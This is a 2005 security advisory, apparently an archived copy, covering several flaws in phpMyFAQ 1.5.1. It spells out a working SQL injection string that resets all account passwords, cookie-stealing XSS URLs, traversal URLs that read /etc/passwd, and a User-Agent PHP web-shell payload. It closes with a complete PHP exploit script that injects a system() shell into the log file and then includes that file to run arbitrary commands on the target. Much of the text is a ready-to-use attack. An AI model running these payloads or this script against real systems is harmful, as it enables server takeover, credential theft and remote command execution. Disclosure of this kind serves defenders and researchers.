PhpMyFAQ 1.5.1 multiple vulnerabilities

2005-09-26T00:00:00
ID SECURITYVULNS:DOC:9784
Type securityvulns
Reporter Securityvulns
Modified 2005-09-26T00:00:00

Description

2.31 23/09/2005

PhpMyFaq 1.5.1 SQL injection / board takeover / user info disclosure / path disclosure remote code / commands execution

software: site: http://www.phpmyfaq.de/ description: "phpMyFAQ is a multilingual, completely database-driven FAQ-system. It supports various databases to store all data, PHP 4.1.0 (or higher) is needed in order to access this data. phpMyFAQ also offers a multi-language Content Management-System with a WYSIWYG editor and an Image Manager, flexible multi-user support with LDAP support, a news-system, user-tracking, language modules, enhanced automatic content negotiation, templates, extensive XML-support, PDF-support, a backup-system, a dynamic sitempa and an easy to use installation script."

vulnerabilities:

1) if magic quotes off -> SQL injection: just take a look at vulnerable code in /admin/password.php: ... $username = $_POST["username"]; $email = $_POST["email"]; $num = $db->num_rows($db->query("SELECT name, email FROM ".SQLPREFIX."faquser WHERE name = '".$username."' AND email = '".$email."'")); if ($num == 1) { $consonants = array("b","c","d","f","g","h","j","k","l","m","n","p","r","s","t","v","w","x","y","z"); $vowels = array("a","e","i","o","u"); $newPassword = ""; srand((double)microtime()*1000000); for ($i = 1; $i <= 4; $i++) { $newPassword .= $consonants[rand(0,19)]; $newPassword .= $vowels[rand(0,4)]; } $db->query("UPDATE ".SQLPREFIX."faquser SET pass = '".md5($newPassword)."' WHERE name = '".$username."' AND email = '".$email."'"); $text = $PMF_LANG["lostpwd_text_1"]."\nUsername: ".$username."\nNew Password: ".$newPassword."\n\n".$PMF_LANG["lostpwd_text_2"]; mail($IDN->encode($email), $PMF_CONF["title"].": username / password request", $text, "From: ".$IDN->encode($PMF_CONF["adminmail"])); ...

switch to /admin directory, click on "forgotten password" feature and without to have an account you can reset admin password and send yourself it by email, example:

user: ' or isnull(1/0) /* mail: [your_email]

the two queries become:

SELECT name, email FROM phpmyfaq_faquser WHERE name = '' or isnull(1/0) /*' AND email = '[your_email]'

and

UPDATE phpmyfaq_faquser SET pass = '[password_hash]' WHERE name = '' or isnull(1/0) /*' AND email = '[your_email]'

(so all accounts have the same new password... not only admin one)

[your_email] , now is passed to mail() funxtion

you will soon receive a mail like this:

"Thank you for requesting your account information. Username: ' or isnull(1/0) /* New Password: relicuxe

Please set a new personal password in the admin section of your FAQ."

now you can login, backup database, add/delete news, records, ban ip and execute commands on target system by inserting php code in news, system calls, etc.

2) cross site scripting:

http://[target]/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cookie)</script> http://[target]/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script>

3) arbitrary inclusion (on Windows): if magic_quotes_gpc off in php.ini settings you can see ANY file on target system: http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00

4) if magic_quotes both on and off you can include an arbitrary php file on the target machine:

http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname]

[scriptname] without '.php' extension

5) user info disclosure:

http://[target]/[path]/phpmyfaq/data/tracking[date]

where [date] is today date, example: 22092005 you will see the log file...

6) path disclosure: http://[target]/[path]/phpmyfaq/index.php?LANGCODE=[a_non_existent_file]

7) you can insert php code in a User Agent field request packet, example:

<?php system($HTTP_GET_VARS[cmd]) ?>

and, if magic_quotes is off, you can include log file to execute shell commands (this on Windows)

http://[target]/[path]/phpmyfaq/index.php?cmd=ls%20-la&LANGCODE=/../../data/tracking[date]%00

this is my proof of concept exploit (it works against Windows servers, so it's only a divertisement but OK, we are admin, remember? ;) ...):

<?php

17.34 22/09/2005

phpmyfaq_xpl.php

PhpMyFaq 1.5.1 ( possibly prior versions) shell inject

by rgod

site: http://rgod.altervista.org

make these changes in your php.ini if you have troubles

to launch this script:

allow_call_time_pass_reference = on

register_globals = on

usage: launch this script from Apache, fill requested fields, then

if magic_quotes_gpc is off, boom! you launch commands...

Sun-tzu: "When in difficult country, do not encamp. In country where high

roads intersect, join hands with your allies. Do not linger in dangerously

isolated positions. In hemmed-in situations, you must resort to stratagem.

In desperate position, you must fight."

error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1);

echo'<head> <title> PhpMyFAQ 1.5.1 remote commands execution </title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type= "text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;} .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-style: italic; } --> </style></head> <body> <p class="Stile6"> PhpMyFAQ V 1.5.1 (possibly prior versions) remote commands execution </p><p class="Stil e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank"> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host= value&port=value&command=value&proxy=value"><p><input type="text" name="host"> <span class="Stile5"> hostname (ex: www.sitename.com) </span> </p> <p><input type="text" name="path"><span class="Stile5"> path ( ex: /phpmyfaq/ or just /) </span></p><p><input type="text" name="port" > <span class="Stile5"> specify a port other than 80 (default value) </span></p><p> <input type="text" name= "command"> <span class="Stile5"> a Unix command , example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p><p><input type="text " name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por t</span></p> <p> <input type="submit"name="Submit" value="go!"></p></form></td> </tr></table></body></html>';

function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td>&nbsp;&nbsp;</td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>&nbsp&nbsp</td>"; }

for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; }

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') {

$html=&#39;&#39;;
while &#40;!feof&#40;$ock&#41;&#41;
  {
    $html.=fgets&#40;$ock&#41;;
  }

} else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); }

if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;}

STEP 1 -> Shell Inject...

if ($proxy=='') {$packet="GET ".$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n";} else {$packet="GET http://".$host.$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n";}

$packet.='User-Agent: <?php system($HTTP_GET_VARS[cmd]) ?><?php die ?>'."\r\n"; //you cannot insert ";" because it is stripped, so insert more statements //if you change the shell, keep attemption to php syntax, if you make an error, //you cannot lauch commands till tomorrow, I am not joking ;)

$packet.="Accept-Language: pl\r\n"; $packet.="Referer: http://".$host.$path."\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /\r\n"; $packet.="Accept-Encoding: gzip,deflate\r\n"; $packet.="Host: ".$host."\r\n\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: lang=it; sid=49493\r\n"; show($packet); sendpacket($packet);

STEP 2 -> Include the log file and launch commands...

if ($proxy=='') {$packet="GET ".$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";} else {$packet="GET http://".$host.$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";} $packet.='User-Agent: Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)'."\r\n"; $packet.="Accept-Language: fr\r\n"; $packet.="Referer: http://".$host.$path."\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /\r\n"; $packet.="Accept-Encoding: gzip,deflate\r\n"; $packet.="Host: ".$host."\r\n\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: lang=it; sid=49493\r\n"; show($packet); sendpacket($packet); } else { echo '<br>fill in requested fields, optionally specify a proxy...<br><br>'; } ?>

rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/phpmyfuck151.html